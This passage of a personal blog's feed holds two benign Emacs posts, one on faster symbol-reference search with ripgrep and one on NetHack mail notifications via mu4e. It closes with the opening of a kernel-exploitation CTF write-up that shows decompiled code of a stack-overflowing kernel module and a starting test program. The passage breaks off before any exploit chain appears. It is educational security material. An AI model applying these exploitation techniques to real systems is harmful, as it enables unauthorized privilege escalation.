<p><a href="https://nullprogram.com/blog/2013/01/22/">https://nullprogram.com/blog/2013/01/22/</a>&#160;<a href="#fnref:1" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a></p>
</li>
</ol>
</div>]]></content>
    
  </entry>
  
  <entry>
    <title type="html"><![CDATA[Speedier elisp-refs-* with Dumb Grep]]></title>
    <link href="https://feyor.sh/blog/speedier-elisp-refs/"/>
    <id>https://feyor.sh/blog/speedier-elisp-refs/</id>
    
    <author>
      <name>George Huebner</name>
    </author>
    
    <published>2025-09-15T00:00:00+00:00</published>
    <updated>2025-12-11T18:22:18-06:00</updated>
    
    
    <content type="html" xml:base="https://feyor.sh/blog/speedier-elisp-refs/"><![CDATA[<p><a href="https://github.com/Wilfred/helpful">Helpful</a> is a fantastic Emacs package that drastically improves the builtin <kbd>help-mode</kbd>.
One of the particularly nice features is finding references to a particular symbol.
Unfortunately it can be painfully slow in practice due to actually parsing every loaded Elisp file:</p>





  
  
    

  
  
    









<details open>
  
  <summary>Emacs Lisp</summary>
  
  </summary>
  <div class="highlight"><pre tabindex="0" style="color:#fff;background-color:#000;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-elisp" data-lang="elisp"><span style="display:flex;"><span>(<span style="color:#f78fe7">require</span> <span style="color:#79a8ff">&#39;benchmark</span>)
</span></span><span style="display:flex;"><span>(<span style="color:#00d3d0">benchmark-elapse</span> (<span style="color:#00d3d0">elisp-refs-function</span> <span style="color:#feacd0">#&#39;car</span>))</span></span></code></pre></div>
</details>






  
  
    

  
  
    









<div class="highlight"><pre tabindex="0" style="color:#fff;background-color:#000;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-text" data-lang="text"><span style="display:flex;"><span>24.001221</span></span></code></pre></div>

<p>Instead of walking the ASTs of every file, why not do a regex search?</p>
<p>It sacrifices correctness (and completely ignores the type of the symbol), but it turns out to be orders of magnitude faster in practice.
Bonus points for using a fast tool like ripgrep and extra bonus points for completing the work asynchronously so as not to block Emacs&rsquo;s main thread.</p>
<blockquote>
<p>I don&rsquo;t mean to denigrate <a href="https://github.com/Wilfred/elisp-refs">elisp-refs</a>; the author clearly has put a lot of thought into performance and it&rsquo;s only natural that using an approach that heavily cuts corners together with a tool implemented in optimized machine code instead of Elisp (which is especially hampered by GC performance) will lead to faster results.</p>
<p>I&rsquo;m a ripgrep junkie and I prefer it for grokking most codebases, but the speed comes at the cost of having to sift through many false positives.</p></blockquote>
<p>I use the wonderful <a href="https://github.com/Wilfred/deadgrep">deadgrep</a> package to do just that:</p>





  
  
    

  
  
    









<details open>
  
  <summary>Emacs Lisp</summary>
  
  </summary>
  <div class="highlight"><pre tabindex="0" style="color:#fff;background-color:#000;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-elisp" data-lang="elisp"><span style="display:flex;"><span>(<span style="color:#f78fe7">when</span> (<span style="color:#00d3d0">locate-library</span> <span style="color:#79a8ff">&#34;deadgrep&#34;</span>)
</span></span><span style="display:flex;"><span>  (<span style="color:#f78fe7">require</span> <span style="color:#79a8ff">&#39;deadgrep</span>)
</span></span><span style="display:flex;"><span>  (<span style="color:#feacd0">fset</span> <span style="color:#79a8ff">&#39;deadgrep--arguments-orig</span> (<span style="color:#feacd0">symbol-function</span> <span style="color:#feacd0">#&#39;</span><span style="color:#00d3d0">deadgrep--arguments</span>))
</span></span><span style="display:flex;"><span>  (<span style="color:#f78fe7">define-advice</span> <span style="color:#00d3d0">helpful--all-references</span> (<span style="color:#f78fe7">:override</span> (<span style="color:#00d3d0">button</span>) <span style="color:#00d3d0">fysh/use-deadgrep</span>)
</span></span><span style="display:flex;"><span>    (<span style="color:#f78fe7">cl-letf*</span> (((<span style="color:#feacd0">symbol-function</span> <span style="color:#79a8ff">&#39;deadgrep--arguments</span>)
</span></span><span style="display:flex;"><span>                (<span style="color:#f78fe7">lambda</span> (<span style="color:#b6a0ff">&amp;rest</span> <span style="color:#00d3d0">args</span>)
</span></span><span style="display:flex;"><span>                  <span style="color:#00d3d0">`</span>(<span style="color:#79a8ff">&#34;--follow&#34;</span> <span style="color:#79a8ff">&#34;--type=elisp&#34;</span> <span style="color:#79a8ff">&#34;--type=gzip&#34;</span> <span style="color:#79a8ff">&#34;--search-zip&#34;</span> <span style="color:#00d3d0">,@</span>(<span style="color:#00d3d0">butlast</span> (<span style="color:#feacd0">apply</span> <span style="color:#feacd0">#&#39;</span><span style="color:#00d3d0">deadgrep--arguments-orig</span> <span style="color:#00d3d0">args</span>)) <span style="color:#00d3d0">,</span><span style="color:#00d3d0">lisp-directory</span> <span style="color:#00d3d0">,</span>(<span style="color:#00d3d0">-first</span> (<span style="color:#f78fe7">lambda</span> (<span style="color:#00d3d0">p</span>) (<span style="color:#00d3d0">string-suffix-p</span> <span style="color:#79a8ff">&#34;/share/emacs/site-lisp&#34;</span> <span style="color:#00d3d0">p</span>)) <span style="color:#00d3d0">load-path</span>)))))
</span></span><span style="display:flex;"><span>      (<span style="color:#00d3d0">deadgrep</span> (<span style="color:#feacd0">symbol-name</span> (<span style="color:#00d3d0">button-get</span> <span style="color:#00d3d0">button</span> <span style="color:#79a8ff">&#39;symbol</span>)) <span style="color:#00d3d0">default-directory</span>))))</span></span></code></pre></div>
</details>

<p>The code is quite hacky because deadgrep is not designed to allow passing multiple directories in a single search, but this gets the job done.</p>





  
  
    

  
  
    









<details open>
  
  <summary>Emacs Lisp</summary>
  
  </summary>
  <div class="highlight"><pre tabindex="0" style="color:#fff;background-color:#000;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-elisp" data-lang="elisp"><span style="display:flex;"><span>(<span style="color:#f78fe7">with-temp-buffer</span>
</span></span><span style="display:flex;"><span>  (<span style="color:#f78fe7">let</span> ((<span style="color:#00d3d0">button</span> (<span style="color:#00d3d0">make-button</span> (<span style="color:#feacd0">point-min</span>) (<span style="color:#feacd0">point-max</span>)))
</span></span><span style="display:flex;"><span>        (<span style="color:#00d3d0">time-to-draw</span>)
</span></span><span style="display:flex;"><span>        (<span style="color:#00d3d0">time-to-completion</span>))
</span></span><span style="display:flex;"><span>    (<span style="color:#00d3d0">button-put</span> <span style="color:#00d3d0">button</span> <span style="color:#79a8ff">&#39;symbol</span> <span style="color:#feacd0">#&#39;car</span>)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    (<span style="color:#f78fe7">setq</span> <span style="color:#00d3d0">time-to-completion</span> (<span style="color:#00d3d0">benchmark-elapse</span>
</span></span><span style="display:flex;"><span>                               (<span style="color:#f78fe7">setq</span> <span style="color:#00d3d0">time-to-draw</span> (<span style="color:#00d3d0">benchmark-elapse</span> (<span style="color:#00d3d0">helpful--all-references</span> <span style="color:#00d3d0">button</span>)))
</span></span><span style="display:flex;"><span>                               (<span style="color:#f78fe7">while</span> <span style="color:#00d3d0">deadgrep--running</span> (<span style="color:#00d3d0">sit-for</span> <span style="color:#00bcff">0.1</span> <span style="color:#79a8ff">&#39;nodisp</span>))))
</span></span><span style="display:flex;"><span>    (<span style="color:#feacd0">format</span> <span style="color:#79a8ff">&#34;Time to first draw: %s\nTime to completion: %s&#34;</span> <span style="color:#00d3d0">time-to-draw</span> <span style="color:#00d3d0">time-to-completion</span>)))</span></span></code></pre></div>
</details>






  
  
    

  
  
    









<div class="highlight"><pre tabindex="0" style="color:#fff;background-color:#000;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-text" data-lang="text"><span style="display:flex;"><span>Time to first draw: 0.084542
</span></span><span style="display:flex;"><span>Time to completion: 38.184606</span></span></code></pre></div>

<p>In this pathological case the total time is slower than using <kbd>elisp-refs-function</kbd> because there are almost four times as many matches because of comments/docstrings and partial matches like <code>mapcar</code> or <code>car-safe</code> (including symbols that aren&rsquo;t functions like <code>byte-car</code>).
The major difference is that while the performance of <kbd>elisp-refs-*</kbd> functions<sup id="fnref:1"><a href="#fn:1" class="footnote-ref" role="doc-noteref">1</a></sup> are roughly constant regardless of the total number of references to a symbol, using ripgrep is significantly faster for terms with fewer than 10k matches (not to mention that you can browse the results immediately).</p>
<p>If you want to remove the partial matches, you could use the following advice instead:</p>





  
  
    

  
  
    









<details open>
  
  <summary>Emacs Lisp</summary>
  
  </summary>
  <div class="highlight"><pre tabindex="0" style="color:#fff;background-color:#000;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-elisp" data-lang="elisp"><span style="display:flex;"><span>(<span style="color:#f78fe7">define-advice</span> <span style="color:#00d3d0">helpful--all-references</span> (<span style="color:#f78fe7">:override</span> (<span style="color:#00d3d0">button</span>) <span style="color:#00d3d0">fysh/use-deadgrep</span>)
</span></span><span style="display:flex;"><span>  (<span style="color:#f78fe7">cl-letf*</span> (((<span style="color:#feacd0">symbol-function</span> <span style="color:#79a8ff">&#39;deadgrep--arguments</span>)
</span></span><span style="display:flex;"><span>              (<span style="color:#f78fe7">lambda</span> (<span style="color:#b6a0ff">&amp;rest</span> <span style="color:#00d3d0">args</span>)
</span></span><span style="display:flex;"><span>                <span style="color:#00d3d0">`</span>(<span style="color:#79a8ff">&#34;--follow&#34;</span> <span style="color:#79a8ff">&#34;--type=elisp&#34;</span> <span style="color:#79a8ff">&#34;--type=gzip&#34;</span> <span style="color:#79a8ff">&#34;--search-zip&#34;</span> <span style="color:#00d3d0">,@</span>(<span style="color:#00d3d0">butlast</span> (<span style="color:#feacd0">apply</span> <span style="color:#feacd0">#&#39;</span><span style="color:#00d3d0">deadgrep--arguments-orig</span> <span style="color:#00d3d0">args</span>) <span style="color:#00bcff">3</span>) <span style="color:#79a8ff">&#34;--no-fixed-strings&#34;</span> <span style="color:#79a8ff">&#34;--&#34;</span> <span style="color:#00d3d0">,</span>(<span style="color:#feacd0">car</span> <span style="color:#00d3d0">args</span>) <span style="color:#00d3d0">,</span><span style="color:#00d3d0">lisp-directory</span> <span style="color:#00d3d0">,</span>(<span style="color:#00d3d0">-first</span> (<span style="color:#f78fe7">lambda</span> (<span style="color:#00d3d0">p</span>) (<span style="color:#00d3d0">string-suffix-p</span> <span style="color:#79a8ff">&#34;/share/emacs/site-lisp&#34;</span> <span style="color:#00d3d0">p</span>)) <span style="color:#00d3d0">load-path</span>)))))
</span></span><span style="display:flex;"><span>    (<span style="color:#00d3d0">deadgrep</span> (<span style="color:#feacd0">format</span> <span style="color:#79a8ff">&#34;(\\(|#?&#39;| )(%s) &#34;</span> (<span style="color:#feacd0">symbol-name</span> (<span style="color:#00d3d0">button-get</span> <span style="color:#00d3d0">button</span> <span style="color:#79a8ff">&#39;symbol</span>))) <span style="color:#00d3d0">default-directory</span>)))</span></span></code></pre></div>
</details>

<p>This unfortunately will highlight the entire match instead of just the capturing group, so I prefer not to use it (althgough the speed is mostly the same, if not a bit faster).</p>
<div class="footnotes" role="doc-endnotes">
<hr>
<ol>
<li id="fn:1">
<p><kbd>elisp-refs-symbol</kbd> is faster than its counterparts due to reduced implementation complexity&#160;<a href="#fnref:1" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a></p>
</li>
</ol>
</div>]]></content>
    
  </entry>
  
  <entry>
    <title type="html"><![CDATA[My other email client is a daemon]]></title>
    <link href="https://feyor.sh/blog/my-other-email-client-is-a-mail-daemon/"/>
    <id>https://feyor.sh/blog/my-other-email-client-is-a-mail-daemon/</id>
    
    <author>
      <name>George Huebner</name>
    </author>
    
    <published>2025-08-21T00:00:00+00:00</published>
    <updated>2025-12-11T18:28:10-06:00</updated>
    
    
    <content type="html" xml:base="https://feyor.sh/blog/my-other-email-client-is-a-mail-daemon/"><![CDATA[<figure><img src="https://feyor.sh/blog/my-other-email-client-is-a-mail-daemon/yodawg.jpg">
</figure>

<p>I have a slight problem wherein every time I start up a game of NetHack, I completely lose touch with my surroundings for hours on end.
Thankfully <a href="https://nethackwiki.com/wiki/The_DevTeam_Thinks_of_Everything">The DevTeam Thinks Of Everything</a> and there&rsquo;s a solution that allows communication with the outside world without breaking immersion: the mail daemon!</p>
<p>If compiled with <code>-DMAIL</code> and <code>OPTIONS=mail</code> is set in your runtime configuration (the default on Linux), NetHack will periodically check a user specified mbox file (<code>MAIL</code>) for new mail, and upon receiving an email a mail daemon will spawn in and deliver a scroll of mail to the player.
Upon reading this scroll a mail program (<code>MAILREADER</code>) will be executed, which hopefully allows you to read your mail.</p>
<p>I use the <a href="https://github.com/Feyorsh/nethack-el">Lisp window port</a> to play NetHack (the way God intended), and I <em>really</em> don&rsquo;t like leaving Emacs, so let&rsquo;s figure out how to integrate this feature with mu4e.
<kbd>mu</kbd> uses <a href="https://man.cx/maildir%285%29">maildir</a>, not <a href="https://datatracker.ietf.org/doc/html/rfc4155">mbox</a>, so I decided to write a cron job that periodically converts my maildir to mbox format.</p>
<p>An important insight is that NetHack never checks the contents of the mailbox file, just the <code>mtime</code>.
Therefore all our script needs to do is check if our maildir contains any messages received within the last <math xmlns="http://www.w3.org/1998/Math/MathML" alttext="n" display="inline">
<mi>n</mi>
</math>
minutes, and if so <kbd>touch</kbd> the mbox file.</p>





  
  
    

  
  
    









<details open>
  
  <summary>Python</summary>
  
  </summary>
  <div class="highlight"><pre tabindex="0" style="color:#fff;background-color:#000;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-python" data-lang="python"><span style="display:flex;"><span><span style="color:#b6a0ff">import</span> os
</span></span><span style="display:flex;"><span><span style="color:#b6a0ff">import</span> mailbox
</span></span><span style="display:flex;"><span><span style="color:#b6a0ff">from</span> datetime <span style="color:#b6a0ff">import</span> datetime, timedelta
</span></span><span style="display:flex;"><span><span style="color:#b6a0ff">import</span> pathlib
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>MAILDIR <span style="color:#00d3d0">=</span> os<span style="color:#00d3d0">.</span>path<span style="color:#00d3d0">.</span>expanduser(<span style="color:#79a8ff">&#34;~/Mail/personal/INBOX&#34;</span>)
</span></span><span style="display:flex;"><span>MBOX <span style="color:#00d3d0">=</span> <span style="color:#79a8ff">&#34;/tmp/nh.mbox&#34;</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>maildir <span style="color:#00d3d0">=</span> mailbox<span style="color:#00d3d0">.</span>Maildir(MAILDIR)
</span></span><span style="display:flex;"><span><span style="color:#b6a0ff">for</span> msg <span style="color:#00d3d0">in</span> maildir:
</span></span><span style="display:flex;"><span>    <span style="color:#b6a0ff">if</span> datetime<span style="color:#00d3d0">.</span>fromtimestamp(msg<span style="color:#00d3d0">.</span>get_date()) <span style="color:#00d3d0">&gt;</span> datetime<span style="color:#00d3d0">.</span>now() <span style="color:#00d3d0">-</span> timedelta(minutes<span style="color:#00d3d0">=</span><span style="color:#00bcff">5</span>):
</span></span><span style="display:flex;"><span>        pathlib<span style="color:#00d3d0">.</span>Path(MBOX)<span style="color:#00d3d0">.</span>touch()
</span></span><span style="display:flex;"><span>        <span style="color:#b6a0ff">break</span>
</span></span><span style="display:flex;"><span>maildir<span style="color:#00d3d0">.</span>close()</span></span></code></pre></div>
</details>

<p>Next, we need a script that will open up mu4e.</p>





  
  
    

  
  
    









<details open>
  
  <summary>Bash</summary>
  
  </summary>
  <div class="highlight"><pre tabindex="0" style="color:#fff;background-color:#000;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>emacsclient -n --eval <span style="color:#79a8ff">&#34;(progn (require &#39;mu4e) (mu4e-context-switch nil \&#34;Personal\&#34;) (mu4e-search-bookmark \&#34;maildir:/personal/INBOX AND flag:unread\&#34;))&#34;</span></span></span></code></pre></div>
</details>

<p>I&rsquo;m using <kbd>emacsclient</kbd> instead of plain old <kbd>emacs</kbd> partly because only one process at a time can hold the lock on <kbd>mu</kbd>&rsquo;s database, so I don&rsquo;t want to spin up another Emacs process.
It&rsquo;s also worth mentioning that my <kbd>emacsclient</kbd> is wrapped such that it opens a new frame if invoked outside of Emacs and reuses the current frame if invoked from within Emacs, so this behaves as you would expect, even if I&rsquo;m using e.g. the curses port in a separate terminal.</p>





  
  
    

  
  
    









<details open>
  
  <summary>Bash</summary>
  
  </summary>
  <div class="highlight"><pre tabindex="0" style="color:#fff;background-color:#000;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span><span style="color:#f78fe7">export</span> <span style="color:#00d3d0">_t</span><span style="color:#00d3d0">=</span><span style="color:#79a8ff">&#39;-c&#39;</span>
</span></span><span style="display:flex;"><span><span style="color:#f78fe7">exec</span> <span style="color:#79a8ff">&#34;/nix/store/...-emacs/bin/.emacsclient-wrapped&#34;</span>  <span style="color:#79a8ff">&#34;</span><span style="color:#79a8ff">${</span><span style="color:#00d3d0">_t</span>/<span style="color:#79a8ff">${</span><span style="color:#00d3d0">INSIDE_EMACS</span>:+*<span style="color:#79a8ff">}</span>/-u<span style="color:#79a8ff">}</span><span style="color:#79a8ff">&#34;</span> -a /nix/store/...-emacs/Applications/Emacs.app/Contents/MacOS/Emacs <span style="color:#79a8ff">&#34;</span><span style="color:#00d3d0">$@</span><span style="color:#79a8ff">&#34;</span></span></span></code></pre></div>
</details>

<p>Here&rsquo;s some riveting gameplay footage of dungeon level 1:</p>
<figure><img src="https://feyor.sh/blog/my-other-email-client-is-a-mail-daemon/demo.gif">
</figure>]]></content>
    
  </entry>
  
  <entry>
    <title type="html"><![CDATA[kernel-rop (hxp CTF 2020)]]></title>
    <link href="https://feyor.sh/writeups/kernel-rop/"/>
    <id>https://feyor.sh/writeups/kernel-rop/</id>
    
    <author>
      <name>George Huebner</name>
    </author>
    
    <published>2025-07-25T00:00:00+00:00</published>
    <updated>2026-10-06T15:02:25-05:00</updated>
    
    
    <content type="html" xml:base="https://feyor.sh/writeups/kernel-rop/"><![CDATA[<p>This challenge was my first experience with kernel pwn, and I&rsquo;ve got to say it&rsquo;s a pretty good introduction!</p>
<h2 id="description">Description</h2>
<blockquote>
<p>Security is difficult, and defenses should be always taken with a grain of salt.
Who would win?
A buffer overflow or The Hottest Linux Defenses?
Flag is in <kbd>/dev/sda</kbd>.</p></blockquote>
<h3 id="files">Files</h3>
<ul>
<li><a href="https://2020.ctf.link/assets/files/kernel-rop-bf9c106d45917343.tar.xz">kernel-rop-bf9c106d45917343.tar.xz</a></li>
</ul>
<h2 id="solution">Solution</h2>
<p>We&rsquo;re given the kernel image <code>vmlinuz</code> and the <code>initramfs.cpio.gz</code>; let&rsquo;s see what we&rsquo;re working with:</p>





  
  
    

  
  
    









<details open>
  
  <summary>Bash</summary>
  
  </summary>
  <div class="highlight"><pre tabindex="0" style="color:#fff;background-color:#000;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>extract-vmlinux vmlinuz &gt; vmlinux
</span></span><span style="display:flex;"><span>file vmlinux</span></span></code></pre></div>
</details>






  
  
    

  
  
    









<div class="highlight"><pre tabindex="0" style="color:#fff;background-color:#000;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-text" data-lang="text"><span style="display:flex;"><span>vmlinux: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), too many section (36140)</span></span></code></pre></div>






  
  
    

  
  
    









<details open>
  
  <summary>Bash</summary>
  
  </summary>
  <div class="highlight"><pre tabindex="0" style="color:#fff;background-color:#000;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>mkdir -p initramfs; <span style="color:#f78fe7">cd</span> initramfs
</span></span><span style="display:flex;"><span>zcat ../initramfs.cpio.gz | cpio -id --quiet
</span></span><span style="display:flex;"><span>ls</span></span></code></pre></div>
</details>






  
  
    

  
  
    









<div class="highlight"><pre tabindex="0" style="color:#fff;background-color:#000;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-text" data-lang="text"><span style="display:flex;"><span>bin
</span></span><span style="display:flex;"><span>etc
</span></span><span style="display:flex;"><span>hackme.ko
</span></span><span style="display:flex;"><span>init
</span></span><span style="display:flex;"><span>root
</span></span><span style="display:flex;"><span>sbin
</span></span><span style="display:flex;"><span>usr</span></span></code></pre></div>






  
  
    

  
  
    









<details open>
  
  <summary>Bash</summary>
  
  </summary>
  <div class="highlight"><pre tabindex="0" style="color:#fff;background-color:#000;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>pwn checksec ./initramfs/hackme.ko 2&gt;&amp;<span style="color:#00bcff">1</span></span></span></code></pre></div>
</details>






  
  
    

  
  
    









<div class="highlight"><pre tabindex="0" style="color:#fff;background-color:#000;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-text" data-lang="text"><span style="display:flex;"><span>[*] &#39;./initramfs/hackme.ko&#39;
</span></span><span style="display:flex;"><span>    Arch:       amd64-64-little
</span></span><span style="display:flex;"><span>    RELRO:      No RELRO
</span></span><span style="display:flex;"><span>    Stack:      Canary found
</span></span><span style="display:flex;"><span>    NX:         NX enabled
</span></span><span style="display:flex;"><span>    PIE:        No PIE (0x0)
</span></span><span style="display:flex;"><span>    Stripped:   No
</span></span><span style="display:flex;"><span>    Debuginfo:  Yes</span></span></code></pre></div>

<p>Let&rsquo;s load <code>hackme.ko</code> into IDA:</p>





  
  
    

  
  
    









<details open>
  
  <summary>C</summary>
  
  </summary>
  <div class="highlight"><pre tabindex="0" style="color:#fff;background-color:#000;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-c" data-lang="c"><span style="display:flex;"><span><span style="color:#6ae4b9">ssize_t</span> <span style="color:#b6a0ff">__fastcall</span> <span style="color:#feacd0">hackme_read</span>(file <span style="color:#00d3d0">*</span>f, <span style="color:#6ae4b9">char</span> <span style="color:#00d3d0">*</span>data, <span style="color:#6ae4b9">size_t</span> size, <span style="color:#6ae4b9">loff_t</span> <span style="color:#00d3d0">*</span>off)
</span></span><span style="display:flex;"><span>{
</span></span><span style="display:flex;"><span>  <span style="color:#6ae4b9">unsigned</span> <span style="color:#b6a0ff">__int64</span> v4; <span style="color:#a8a8a8">// rdx
</span></span></span><span style="display:flex;"><span><span style="color:#a8a8a8"></span>  <span style="color:#6ae4b9">unsigned</span> <span style="color:#b6a0ff">__int64</span> v5; <span style="color:#a8a8a8">// rbx
</span></span></span><span style="display:flex;"><span><span style="color:#a8a8a8"></span>  <span style="color:#6ae4b9">bool</span> v6; <span style="color:#a8a8a8">// zf
</span></span></span><span style="display:flex;"><span><span style="color:#a8a8a8"></span>  <span style="color:#6ae4b9">ssize_t</span> result; <span style="color:#a8a8a8">// rax
</span></span></span><span style="display:flex;"><span><span style="color:#a8a8a8"></span>  <span style="color:#6ae4b9">int</span> tmp[<span style="color:#00bcff">32</span>]; <span style="color:#a8a8a8">// [rsp+0h] [rbp-A0h] BYREF
</span></span></span><span style="display:flex;"><span><span style="color:#a8a8a8"></span>  <span style="color:#6ae4b9">unsigned</span> <span style="color:#b6a0ff">__int64</span> v9; <span style="color:#a8a8a8">// [rsp+80h] [rbp-20h]
</span></span></span><span style="display:flex;"><span><span style="color:#a8a8a8"></span>
</span></span><span style="display:flex;"><span>  <span style="color:#feacd0">_fentry__</span>(f, data);
</span></span><span style="display:flex;"><span>  v5 <span style="color:#00d3d0">=</span> v4;
</span></span><span style="display:flex;"><span>  v9 <span style="color:#00d3d0">=</span> <span style="color:#feacd0">__readgsqword</span>(<span style="color:#00bcff">0x28u</span>);
</span></span><span style="display:flex;"><span>  <span style="color:#feacd0">_memcpy</span>(hackme_buf, tmp);
</span></span><span style="display:flex;"><span>  <span style="color:#b6a0ff">if</span> ( v5 <span style="color:#00d3d0">&gt;</span> <span style="color:#00bcff">0x1000</span> )
</span></span><span style="display:flex;"><span>  {
</span></span><span style="display:flex;"><span>    <span style="color:#feacd0">_warn_printk</span>(<span style="color:#79a8ff">&#34;Buffer overflow detected (%d &lt; %lu)!</span><span style="color:#79a8ff">\n</span><span style="color:#79a8ff">&#34;</span>, <span style="color:#00bcff">4096</span>, v5);
</span></span><span style="display:flex;"><span>    <span style="color:#feacd0">BUG</span>();
</span></span><span style="display:flex;"><span>  }
</span></span><span style="display:flex;"><span>  <span style="color:#feacd0">_check_object_size</span>(hackme_buf, v5, <span style="color:#00bcff">1LL</span>);
</span></span><span style="display:flex;"><span>  v6 <span style="color:#00d3d0">=</span> <span style="color:#feacd0">copy_to_user</span>(data, hackme_buf, v5) <span style="color:#00d3d0">==</span> <span style="color:#00bcff">0</span>;
</span></span><span style="display:flex;"><span>  result <span style="color:#00d3d0">=</span> <span style="color:#00d3d0">-</span><span style="color:#00bcff">14LL</span>;
</span></span><span style="display:flex;"><span>  <span style="color:#b6a0ff">if</span> ( v6 )
</span></span><span style="display:flex;"><span>    <span style="color:#b6a0ff">return</span> v5;
</span></span><span style="display:flex;"><span>  <span style="color:#b6a0ff">return</span> result;
</span></span><span style="display:flex;"><span>}
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#6ae4b9">ssize_t</span> <span style="color:#b6a0ff">__fastcall</span> <span style="color:#feacd0">hackme_write</span>(file <span style="color:#00d3d0">*</span>f, <span style="color:#b6a0ff">const</span> <span style="color:#6ae4b9">char</span> <span style="color:#00d3d0">*</span>data, <span style="color:#6ae4b9">size_t</span> size, <span style="color:#6ae4b9">loff_t</span> <span style="color:#00d3d0">*</span>off)
</span></span><span style="display:flex;"><span>{
</span></span><span style="display:flex;"><span>  <span style="color:#6ae4b9">unsigned</span> <span style="color:#b6a0ff">__int64</span> v4; <span style="color:#a8a8a8">// rdx
</span></span></span><span style="display:flex;"><span><span style="color:#a8a8a8"></span>  <span style="color:#6ae4b9">ssize_t</span> v5; <span style="color:#a8a8a8">// rbx
</span></span></span><span style="display:flex;"><span><span style="color:#a8a8a8"></span>  <span style="color:#6ae4b9">int</span> tmp[<span style="color:#00bcff">32</span>]; <span style="color:#a8a8a8">// [rsp+0h] [rbp-A0h] BYREF
</span></span></span><span style="display:flex;"><span><span style="color:#a8a8a8"></span>  <span style="color:#6ae4b9">unsigned</span> <span style="color:#b6a0ff">__int64</span> v8; <span style="color:#a8a8a8">// [rsp+80h] [rbp-20h]
</span></span></span><span style="display:flex;"><span><span style="color:#a8a8a8"></span>
</span></span><span style="display:flex;"><span>  <span style="color:#feacd0">_fentry__</span>(f, data, size, off);
</span></span><span style="display:flex;"><span>  v5 <span style="color:#00d3d0">=</span> v4;
</span></span><span style="display:flex;"><span>  v8 <span style="color:#00d3d0">=</span> <span style="color:#feacd0">__readgsqword</span>(<span style="color:#00bcff">0x28u</span>);
</span></span><span style="display:flex;"><span>  <span style="color:#b6a0ff">if</span> ( v4 <span style="color:#00d3d0">&gt;</span> <span style="color:#00bcff">0x1000</span> )
</span></span><span style="display:flex;"><span>  {
</span></span><span style="display:flex;"><span>    <span style="color:#feacd0">_warn_printk</span>(<span style="color:#79a8ff">&#34;Buffer overflow detected (%d &lt; %lu)!</span><span style="color:#79a8ff">\n</span><span style="color:#79a8ff">&#34;</span>, <span style="color:#00bcff">4096LL</span>);
</span></span><span style="display:flex;"><span>    <span style="color:#feacd0">BUG</span>();
</span></span><span style="display:flex;"><span>  }
</span></span><span style="display:flex;"><span>  <span style="color:#feacd0">_check_object_size</span>(hackme_buf, v4, <span style="color:#00bcff">0LL</span>);
</span></span><span style="display:flex;"><span>  <span style="color:#b6a0ff">if</span> ( <span style="color:#feacd0">copy_from_user</span>(hackme_buf, data, v5) )
</span></span><span style="display:flex;"><span>    <span style="color:#b6a0ff">return</span> <span style="color:#00d3d0">-</span><span style="color:#00bcff">14LL</span>;
</span></span><span style="display:flex;"><span>  <span style="color:#feacd0">_memcpy</span>(tmp, hackme_buf, v5);
</span></span><span style="display:flex;"><span>  <span style="color:#b6a0ff">return</span> v5;
</span></span><span style="display:flex;"><span>}</span></span></code></pre></div>
</details>

<p>Ok, a kernel module that will happily <kbd>read</kbd>/<kbd>write</kbd> in way more than it&rsquo;s supposed to.</p>
<p>Let&rsquo;s check that we do indeed smash the stack:</p>
<p><a id="code-snippet--driver-testing"></a></p>





  
  
    

  
  
    









<details open>
  
  <summary>Zig</summary>
  
  </summary>
  <div class="highlight"><pre tabindex="0" style="color:#fff;background-color:#000;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-zig" data-lang="zig"><span style="display:flex;"><span><span style="color:#b6a0ff">const</span> std <span style="color:#00d3d0">=</span> <span style="color:#f78fe7">@import</span>(<span style="color:#79a8ff">&#34;std&#34;</span>);
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#b6a0ff">pub</span> <span style="color:#b6a0ff">fn</span> <span style="color:#feacd0">main</span>() <span style="color:#00d3d0">!</span><span style="color:#6ae4b9">void</span> {
</span></span><span style="display:flex;"><span>    <span style="color:#b6a0ff">const</span> fd <span style="color:#00d3d0">=</span> <span style="color:#b6a0ff">try</span> std.posix.<span style="color:#feacd0">open</span>(<span style="color:#79a8ff">&#34;/dev/hackme&#34;</span>, .{ .ACCMODE <span style="color:#00d3d0">=</span> .RDWR }, <span style="color:#00bcff">0o660</span>);
</span></span><span style="display:flex;"><span>    <span style="color:#b6a0ff">defer</span> std.posix.<span style="color:#feacd0">close</span>(fd);
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    <span style="color:#b6a0ff">var</span> buf<span style="color:#00d3d0">:</span> [<span style="color:#00bcff">40</span>]<span style="color:#6ae4b9">u8</span> <span style="color:#00d3d0">=</span> <span style="color:#00bcff">undefined</span>;
